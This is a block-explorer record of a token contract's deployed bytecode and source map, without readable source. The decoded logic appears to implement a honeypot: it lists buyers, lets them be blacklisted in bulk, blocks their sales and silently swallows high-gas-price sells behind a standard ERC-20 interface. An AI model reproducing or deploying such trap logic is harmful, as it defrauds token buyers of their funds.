0cd2a5d5257162e8ca4b6e30ccdd564736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101445760003560e01c80635342acb4116100b657806395d89b411161006f57806395d89b41146103c4578063a457c2d7146103ef578063a9059cbb1461040f578063ad63043e1461042f578063dd62ed3e14610468578063ea2f0b37146104ae57600080fd5b80635342acb4146102ed5780636fcba3771461032657806370a0823114610346578063715018a61461037c5780638768b9e8146103915780638da5cb5b146103a657600080fd5b806323b872dd1161010857806323b872dd14610231578063243bcfcb14610251578063313ce56714610271578063395093511461028d578063437823ec146102ad57806349bd5a5e146102cd57600080fd5b806301339c211461015057806306fdde0314610167578063095ea7b3146101aa5780631694505e146101da57806318160ddd1461021257600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506101656104ce565b005b34801561017357600080fd5b506040805180820190915260088152670426c7565436869760c41b60208201525b6040516101a19190610f98565b60405180910390f35b3480156101b657600080fd5b506101ca6101c5366004611002565b61053d565b60405190151581526020016101a1565b3480156101e657600080fd5b506001546101fa906001600160a01b031681565b6040516001600160a01b0390911681526020016101a1565b34801561021e57600080fd5b506008545b6040519081526020016101a1565b34801561023d57600080fd5b506101ca61024c36600461102c565b610554565b34801561025d57600080fd5b5061016561026c366004611068565b6105a6565b34801561027d57600080fd5b50604051600981526020016101a1565b34801561029957600080fd5b506101ca6102a8366004611002565b6105ed565b3480156102b957600080fd5b506101656102c8366004611081565b610624565b3480156102d957600080fd5b506002546101fa906001600160a01b031681565b3480156102f957600080fd5b506101ca610308366004611081565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561033257600080fd5b5061016561034136600461109c565b610672565b34801561035257600080fd5b50610223610361366004611081565b6001600160a01b031660009081526003602052604090205490565b34801561038857600080fd5b50610165610767565b34801561039d57600080fd5b506101656107db565b3480156103b257600080fd5b506000546001600160a01b03166101fa565b3480156103d057600080fd5b50604080518082019091526002815261424360f01b6020820152610194565b3480156103fb57600080fd5b506101ca61040a366004611002565b610871565b34801561041b57600080fd5b506101ca61042a366004611002565b6108a8565b34801561043b57600080fd5b506101ca61044a366004611081565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561047457600080fd5b506102236104833660046110ce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104ba57600080fd5b506101656104c9366004611081565b6108b5565b60005b60075481101561053a57600160066000600784815481106104f4576104f4611101565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055806105328161112d565b9150506104d1565b50565b600061054a338484610900565b5060015b92915050565b6000610561848484610a24565b6001600160a01b03841660009081526004602090815260408083203380855292529091205461059c918691610597908690611146565b610900565b5060019392505050565b6000546001600160a01b031633146105d95760405162461bcd60e51b81526004016105d090611159565b60405180910390fd5b6105e781633b9aca0061118e565b600c5550565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161054a9185906105979086906111a5565b6000546001600160a01b0316331461064e5760405162461bcd60e51b81526004016105d090611159565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461069c5760405162461bcd60e51b81526004016105d090611159565b60086106a88585610e24565b11156106f65760405162461bcd60e51b815260206004820152601e60248201527f427579206665652063616e277420676f20686967686572207468616e2038000060448201526064016105d0565b600d849055600e839055600861070c8383610e24565b111561075a5760405162461bcd60e51b815260206004820152601f60248201527f53656c6c206665652063616e277420676f20686967686572207468616e20380060448201526064016105d0565b600f919091556010555050565b6000546001600160a01b031633146107915760405162461bcd60e51b81526004016105d090611159565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108055760405162461bcd60e51b81526004016105d090611159565b60005b60075481101561053a576001600660006007848154811061082b5761082b611101565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055806108698161112d565b915050610808565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161054a918590610597908690611146565b600061054a338484610a24565b6000546001600160a01b031633146108df5760405162461bcd60e51b81526004016105d090611159565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6001600160a01b0383166109625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d0565b6001600160a01b0382166109c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d0565b60008111610aea5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d0565b6001600160a01b038216610b4c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d0565b6001600160a01b03831660009081526003602052604081208054839290610b74908490611146565b90915550506001600160a01b038316600090815260056020526040902054819060ff16158015610bbd57506001600160a01b03831660009081526005602052604090205460ff16155b15610da257600c543a118015610be057506002546001600160a01b038581169116145b15610c09576001600160a01b0383166000908152600660205260409020805460ff191660011790555b6002546001600160a01b03848116911614610d2857600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b038516179055600954821115610c8b5760405162461bcd60e51b81526004016105d0906111b8565b600a5482610cae856001600160a01b031660009081526003602052604090205490565b610cb891906111a5565b1115610d1b5760405162461bcd60e51b815260206004820152602c60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526b30b63632ba20b6b7bab73a1760a11b60648201526084016105d0565b610d258285610e8a565b90505b6002546001600160a01b03858116911614610da257600954821115610d5f5760405162461bcd60e51b81526004016105d0906111b8565b6001600160a01b03841660009081526006602052604090205460ff1615610d8557600080fd5b600c543a1115610d955750505050565b610d9f8285610f61565b90505b6001600160a01b03831660009081526003602052604081208054839290610dca9084906111a5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e1691815260200190565b60405180910390a350505050565b600080610e3183856111a5565b905083811015610e835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d0565b9392505050565b6000806064600d6000015485610ea0919061118e565b610eaa91906111ff565b905060006064600d6001015486610ec1919061118e565b610ecb91906111ff565b9050610ed781836111a5565b3060009081526003602052604081208054909190610ef69084906111a5565b909155503090506001600160a01b0385167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f3285856111a5565b60405190815260200160405180910390a380610f4e8387611146565b610f589190611146565b95945050505050565b6000806064600f6000015485610f77919061118e565b610f8191906111ff565b905060006064600f6001015486610ec1919061118e565b600060208083528351808285015260005b81811015610fc557858101830151858201604001528201610fa9565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610ffd57600080fd5b919050565b6000806040838503121561101557600080fd5b61101e83610fe6565b946020939093013593505050565b60008060006060848603121561104157600080fd5b61104a84610fe6565b925061105860208501610fe6565b9150604084013590509250925092565b60006020828403121561107a57600080fd5b5035919050565b60006020828403121561109357600080fd5b610e8382610fe6565b600080600080608085870312156110b257600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156110e157600080fd5b6110ea83610fe6565b91506110f860208401610fe6565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161113f5761113f611117565b5060010190565b8181038181111561054e5761054e611117565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808202811582820484141761054e5761054e611117565b8082018082111561054e5761054e611117565b60208082526027908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152661e105b5bdd5b9d60ca1b606082015260800190565b60008261121c57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220aca2e420101a6e6c79d6394724f80daeac20cd2a5d5257162e8ca4b6e30ccdd564736f6c63430008110033

Deployed Bytecode Sourcemap

11692:8073:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14646:176;;;;;;;;;;;;;:::i;:::-;;13476:83;;;;;;;;;;-1:-1:-1;13546:5:0;;;;;;;;;;;;-1:-1:-1;;;13546:5:0;;;;13476:83;;;;;;;:::i;:::-;;;;;;;;14830:161;;;;;;;;;;-1:-1:-1;14830:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;14830:161:0;1004:187:1;11780:41:0;;;;;;;;;;-1:-1:-1;11780:41:0;;;;-1:-1:-1;;;;;11780:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;11780:41:0;1196:229:1;13753:100:0;;;;;;;;;;-1:-1:-1;13833:12:0;;13753:100;;;1576:25:1;;;1564:2;1549:18;13753:100:0;1430:177:1;14999:266:0;;;;;;;;;;-1:-1:-1;14999:266:0;;;;;:::i;:::-;;:::i;17972:100::-;;;;;;;;;;-1:-1:-1;17972:100:0;;;;;:::i;:::-;;:::i;13662:83::-;;;;;;;;;;-1:-1:-1;13662:83:0;;12285:1;2272:36:1;;2260:2;2245:18;13662:83:0;2130:184:1;15273:215:0;;;;;;;;;;-1:-1:-1;15273:215:0;;;;;:::i;:::-;;:::i;15733:111::-;;;;;;;;;;-1:-1:-1;15733:111:0;;;;;:::i;:::-;;:::i;11828:28::-;;;;;;;;;;-1:-1:-1;11828:28:0;;;;-1:-1:-1;;;;;11828:28:0;;;16015:123;;;;;;;;;;-1:-1:-1;16015:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;16103:27:0;16079:4;16103:27;;;:18;:27;;;;;;;;;16015:123;17407:557;;;;;;;;;;-1:-1:-1;17407:557:0;;;;;:::i;:::-;;:::i;13861:118::-;;;;;;;;;;-1:-1:-1;13861:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;13954:17:0;13927:7;13954:17;;;:8;:17;;;;;;;13861:118;11537:148;;;;;;;;;;;;;:::i;16277:185::-;;;;;;;;;;;;;:::i;11323:79::-;;;;;;;;;;-1:-1:-1;11361:7:0;11388:6;-1:-1:-1;;;;;11388:6:0;11323:79;;13567:87;;;;;;;;;;-1:-1:-1;13639:7:0;;;;;;;;;;;;-1:-1:-1;;;13639:7:0;;;;13567:87;;15496:225;;;;;;;;;;-1:-1:-1;15496:225:0;;;;;:::i;:::-;;:::i;13987:167::-;;;;;;;;;;-1:-1:-1;13987:167:0;;;;;:::i;:::-;;:::i;16146:123::-;;;;;;;;;;-1:-1:-1;16146:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;16234:27:0;16210:4;16234:27;;;:18;:27;;;;;;;;;16146:123;14495:143;;;;;;;;;;-1:-1:-1;14495:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14603:18:0;;;14576:7;14603:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14495:143;15856:110;;;;;;;;;;-1:-1:-1;15856:110:0;;;;;:::i;:::-;;:::i;14646:176::-;14696:9;14691:124;14715:14;:21;14711:25;;14691:124;;;14798:4;14758:18;:37;14777:14;14792:1;14777:17;;;;;;;;:::i;:::-;;;;;;;;;;;;;;-1:-1:-1;;;;;14777:17:0;14758:37;;;;;;;;;;;;:44;;-1:-1:-1;;14758:44:0;;;;;;;;;;14738:3;;;;:::i;:::-;;;;14691:124;;;;14646:176::o;14830:161::-;14905:4;14922:39;760:10;14945:7;14954:6;14922:8;:39::i;:::-;-1:-1:-1;14979:4:0;14830:161;;;;;:::o;14999:266::-;15097:4;15114:36;15124:6;15132:9;15143:6;15114:9;:36::i;:::-;-1:-1:-1;;;;;15192:19:0;;;;;;:11;:19;;;;;;;;760:10;15192:33;;;;;;;;;15161:74;;15170:6;;15192:42;;15228:6;;15192:42;:::i;:::-;15161:8;:74::i;:::-;-1:-1:-1;15253:4:0;14999:266;;;;;:::o;17972:100::-;11450:6;;-1:-1:-1;;;;;11450:6:0;760:10;11450:22;11442:67;;;;-1:-1:-1;;;11442:67:0;;;;;;;:::i;:::-;;;;;;;;;18045:19:::1;:10:::0;18058:6:::1;18045:19;:::i;:::-;18035:7;:29:::0;-1:-1:-1;17972:100:0:o;15273:215::-;760:10;15361:4;15410:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15410:34:0;;;;;;;;;;15361:4;;15378:80;;15401:7;;15410:47;;15447:10;;15410:47;:::i;15733:111::-;11450:6;;-1:-1:-1;;;;;11450:6:0;760:10;11450:22;11442:67;;;;-1:-1:-1;;;11442:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15802:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;15802:34:0::1;15832:4;15802:34;::::0;;15733:111::o;17407:557::-;11450:6;;-1:-1:-1;;;;;11450:6:0;760:10;11450:22;11442:67;;;;-1:-1:-1;;;11442:67:0;;;;;;;:::i;:::-;17620:1:::1;17574:42;:18:::0;17597;17574:22:::1;:42::i;:::-;:47;;17566:90;;;::::0;-1:-1:-1;;;17566:90:0;;4776:2:1;17566:90:0::1;::::0;::::1;4758:21:1::0;4815:2;4795:18;;;4788:30;4854:32;4834:18;;;4827:60;4904:18;;17566:90:0::1;4574:354:1::0;17566:90:0::1;17667:6;:37:::0;;;17715:16;:36;;;17820:1:::1;17772:44;:19:::0;17796;17772:23:::1;:44::i;:::-;:49;;17764:93;;;::::0;-1:-1:-1;;;17764:93:0;;5135:2:1;17764:93:0::1;::::0;::::1;5117:21:1::0;5174:2;5154:18;;;5147:30;5213:33;5193:18;;;5186:61;5264:18;;17764:93:0::1;4933:355:1::0;17764:93:0::1;17868:7;:39:::0;;;;17918:17;:38;-1:-1:-1;;17407:557:0:o;11537:148::-;11450:6;;-1:-1:-1;;;;;11450:6:0;760:10;11450:22;11442:67;;;;-1:-1:-1;;;11442:67:0;;;;;;;:::i;:::-;11644:1:::1;11628:6:::0;;11607:40:::1;::::0;-1:-1:-1;;;;;11628:6:0;;::::1;::::0;11607:40:::1;::::0;11644:1;;11607:40:::1;11675:1;11658:19:::0;;-1:-1:-1;;;;;;11658:19:0::1;::::0;;11537:148::o;16277:185::-;11450:6;;-1:-1:-1;;;;;11450:6:0;760:10;11450:22;11442:67;;;;-1:-1:-1;;;11442:67:0;;;;;;;:::i;:::-;16336:9:::1;16331:124;16355:14;:21:::0;16351:25;::::1;16331:124;;;16438:4;16398:18;:37;16417:14;16432:1;16417:17;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;::::0;-1:-1:-1;;;;;16417:17:0::1;16398:37:::0;;;::::1;::::0;;;;;;;;:44;;-1:-1:-1;;16398:44:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16378:3;::::1;::::0;::::1;:::i;:::-;;;;16331:124;;15496:225:::0;760:10;15589:4;15638:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;15638:34:0;;;;;;;;;;15589:4;;15606:85;;15629:7;;15638:52;;15675:15;;15638:52;:::i;13987:167::-;14065:4;14082:42;760:10;14106:9;14117:6;14082:9;:42::i;15856:110::-;11450:6;;-1:-1:-1;;;;;11450:6:0;760:10;11450:22;11442:67;;;;-1:-1:-1;;;11442:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15923:27:0::1;15953:5;15923:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;15923:35:0::1;::::0;;15856:110::o;18080:337::-;-1:-1:-1;;;;;18173:19:0;;18165:68;;;;-1:-1:-1;;;18165:68:0;;5495:2:1;18165:68:0;;;5477:21:1;5534:2;5514:18;;;5507:30;5573:34;5553:18;;;5546:62;-1:-1:-1;;;5624:18:1;;;5617:34;5668:19;;18165:68:0;5293:400:1;18165:68:0;-1:-1:-1;;;;;18252:21:0;;18244:68;;;;-1:-1:-1;;;18244:68:0;;5900:2:1;18244:68:0;;;5882:21:1;5939:2;5919:18;;;5912:30;5978:34;5958:18;;;5951:62;-1:-1:-1;;;6029:18:1;;;6022:32;6071:19;;18244:68:0;5698:398:1;18244:68:0;-1:-1:-1;;;;;18325:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18377:32;;1576:25:1;;;18377:32:0;;1549:18:1;18377:32:0;;;;;;;18080:337;;;:::o;18425:1337::-;-1:-1:-1;;;;;18513:18:0;;18505:68;;;;-1:-1:-1;;;18505:68:0;;6303:2:1;18505:68:0;;;6285:21:1;6342:2;6322:18;;;6315:30;6381:34;6361:18;;;6354:62;-1:-1:-1;;;6432:18:1;;;6425:35;6477:19;;18505:68:0;6101:401:1;18505:68:0;18601:1;18592:6;:10;18584:64;;;;-1:-1:-1;;;18584:64:0;;6709:2:1;18584:64:0;;;6691:21:1;6748:2;6728:18;;;6721:30;6787:34;6767:18;;;6760:62;-1:-1:-1;;;6838:18:1;;;6831:39;6887:19;;18584:64:0;6507:405:1;18584:64:0;-1:-1:-1;;;;;18667:16:0;;18659:64;;;;-1:-1:-1;;;18659:64:0;;7119:2:1;18659:64:0;;;7101:21:1;7158:2;7138:18;;;7131:30;7197:34;7177:18;;;7170:62;-1:-1:-1;;;7248:18:1;;;7241:33;7291:19;;18659:64:0;6917:399:1;18659:64:0;-1:-1:-1;;;;;18736:14:0;;;;;;:8;:14;;;;;:24;;18754:6;;18736:14;:24;;18754:6;;18736:24;:::i;:::-;;;;-1:-1:-1;;;;;;;18820:24:0;;18771:22;18820:24;;;:18;:24;;;;;;18796:6;;18820:24;;18819:25;:52;;;;-1:-1:-1;;;;;;18849:22:0;;;;;;:18;:22;;;;;;;;18848:23;18819:52;18815:839;;;18906:7;;18892:11;:21;:46;;;;-1:-1:-1;18925:13:0;;-1:-1:-1;;;;;18917:21:0;;;18925:13;;18917:21;18892:46;18888:116;;;-1:-1:-1;;;;;18959:22:0;;;;;;:18;:22;;;;;:29;;-1:-1:-1;;18959:29:0;18984:4;18959:29;;;18888:116;19030:13;;-1:-1:-1;;;;;19024:19:0;;;19030:13;;19024:19;19020:338;;19047:14;:23;;;;;;;-1:-1:-1;19047:23:0;;;;;;;;-1:-1:-1;;;;;;19047:23:0;-1:-1:-1;;;;;19047:23:0;;;;;19107:12;;19097:22;;;19089:74;;;;-1:-1:-1;;;19089:74:0;;;;;;;:::i;:::-;19216:16;;19206:6;19190:13;19200:2;-1:-1:-1;;;;;13954:17:0;13927:7;13954:17;;;:8;:17;;;;;;;13861:118;19190:13;:22;;;;:::i;:::-;:42;;19182:99;;;;-1:-1:-1;;;19182:99:0;;7931:2:1;19182:99:0;;;7913:21:1;7970:2;7950:18;;;7943:30;8009:34;7989:18;;;7982:62;-1:-1:-1;;;8060:18:1;;;8053:42;8112:19;;19182:99:0;7729:408:1;19182:99:0;19317:25;19329:6;19337:4;19317:11;:25::i;:::-;19300:42;;19020:338;19386:13;;-1:-1:-1;;;;;19378:21:0;;;19386:13;;19378:21;19374:269;;19438:12;;19428:6;:22;;19420:74;;;;-1:-1:-1;;;19420:74:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19505:24:0;;;;;;:18;:24;;;;;;;;19504:25;19496:34;;;;;;19550:7;;19536:11;:21;19532:34;;;19559:7;18425:1337;;;:::o;19532:34::-;19601:26;19614:6;19622:4;19601:12;:26::i;:::-;19584:43;;19374:269;-1:-1:-1;;;;;19674:12:0;;;;;;:8;:12;;;;;:30;;19690:14;;19674:12;:30;;19690:14;;19674:30;:::i;:::-;;;;;;;;19735:2;-1:-1:-1;;;;;19720:34:0;19729:4;-1:-1:-1;;;;;19720:34:0;;19739:14;19720:34;;;;1576:25:1;;1564:2;1549:18;;1430:177;19720:34:0;;;;;;;;18494:1268;18425:1337;;;:::o;932:179::-;990:7;;1022:5;1026:1;1022;:5;:::i;:::-;1010:17;;1051:1;1046;:6;;1038:46;;;;-1:-1:-1;;;1038:46:0;;8344:2:1;1038:46:0;;;8326:21:1;8383:2;8363:18;;;8356:30;8422:29;8402:18;;;8395:57;8469:18;;1038:46:0;8142:351:1;1038:46:0;1102:1;932:179;-1:-1:-1;;;932:179:0:o;16474:457::-;16542:7;16562:25;16618:3;16599:6;:16;;;16590:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;16562:59;;16633:26;16690:3;16671:6;:16;;;16662:6;:25;;;;:::i;:::-;:31;;;;:::i;:::-;16633:60;-1:-1:-1;16732:38:0;16633:60;16732:17;:38;:::i;:::-;16722:4;16705:23;;;;:8;:23;;;;;:65;;:23;;;:65;;;;;:::i;:::-;;;;-1:-1:-1;16812:4:0;;-1:-1:-1;;;;;;16788:70:0;;;16819:38;16840:17;16819:18;:38;:::i;:::-;16788:70;;1576:25:1;;;1564:2;1549:18;16788:70:0;;;;;;;16904:18;16877:25;16885:17;16877:6;:25;:::i;:::-;:45;;;;:::i;:::-;16869:54;16474:457;-1:-1:-1;;;;;16474:457:0:o;16939:460::-;17008:7;17028:25;17085:3;17065:7;:17;;;17056:6;:26;;;;:::i;:::-;:32;;;;:::i;:::-;17028:60;;17100:26;17158:3;17138:7;:17;;;17129:6;:26;;;;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1612:328::-;1689:6;1697;1705;1758:2;1746:9;1737:7;1733:23;1729:32;1726:52;;;1774:1;1771;1764:12;1726:52;1797:29;1816:9;1797:29;:::i;:::-;1787:39;;1845:38;1879:2;1868:9;1864:18;1845:38;:::i;:::-;1835:48;;1930:2;1919:9;1915:18;1902:32;1892:42;;1612:328;;;;;:::o;1945:180::-;2004:6;2057:2;2045:9;2036:7;2032:23;2028:32;2025:52;;;2073:1;2070;2063:12;2025:52;-1:-1:-1;2096:23:1;;1945:180;-1:-1:-1;1945:180:1:o;2319:186::-;2378:6;2431:2;2419:9;2410:7;2406:23;2402:32;2399:52;;;2447:1;2444;2437:12;2399:52;2470:29;2489:9;2470:29;:::i;2718:385::-;2804:6;2812;2820;2828;2881:3;2869:9;2860:7;2856:23;2852:33;2849:53;;;2898:1;2895;2888:12;2849:53;-1:-1:-1;;2921:23:1;;;2991:2;2976:18;;2963:32;;-1:-1:-1;3042:2:1;3027:18;;3014:32;;3093:2;3078:18;3065:32;;-1:-1:-1;2718:385:1;-1:-1:-1;2718:385:1:o;3108:260::-;3176:6;3184;3237:2;3225:9;3216:7;3212:23;3208:32;3205:52;;;3253:1;3250;3243:12;3205:52;3276:29;3295:9;3276:29;:::i;:::-;3266:39;;3324:38;3358:2;3347:9;3343:18;3324:38;:::i;:::-;3314:48;;3108:260;;;;;:::o;3373:127::-;3434:10;3429:3;3425:20;3422:1;3415:31;3465:4;3462:1;3455:15;3489:4;3486:1;3479:15;3505:127;3566:10;3561:3;3557:20;3554:1;3547:31;3597:4;3594:1;3587:15;3621:4;3618:1;3611:15;3637:135;3676:3;3697:17;;;3694:43;;3717:18;;:::i;:::-;-1:-1:-1;3764:1:1;3753:13;;3637:135::o;3777:128::-;3844:9;;;3865:11;;;3862:37;;;3879:18;;:::i;3910:356::-;4112:2;4094:21;;;4131:18;;;4124:30;4190:34;4185:2;4170:18;;4163:62;4257:2;4242:18;;3910:356::o;4271:168::-;4344:9;;;4375;;4392:15;;;4386:22;;4372:37;4362:71;;4413:18;;:::i;4444:125::-;4509:9;;;4530:10;;;4527:36;;;4543:18;;:::i;7321:403::-;7523:2;7505:21;;;7562:2;7542:18;;;7535:30;7601:34;7596:2;7581:18;;7574:62;-1:-1:-1;;;7667:2:1;7652:18;;7645:37;7714:3;7699:19;;7321:403::o;8498:217::-;8538:1;8564;8554:132;;8608:10;8603:3;8599:20;8596:1;8589:31;8643:4;8640:1;8633:15;8671:4;8668:1;8661:15;8554:132;-1:-1:-1;8700:9:1;;8498:217::o

Swarm Source

ipfs://aca2e420101a6e6c79d6394724f80daeac20cd2a5d5257162e8ca4b6e30ccdd5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.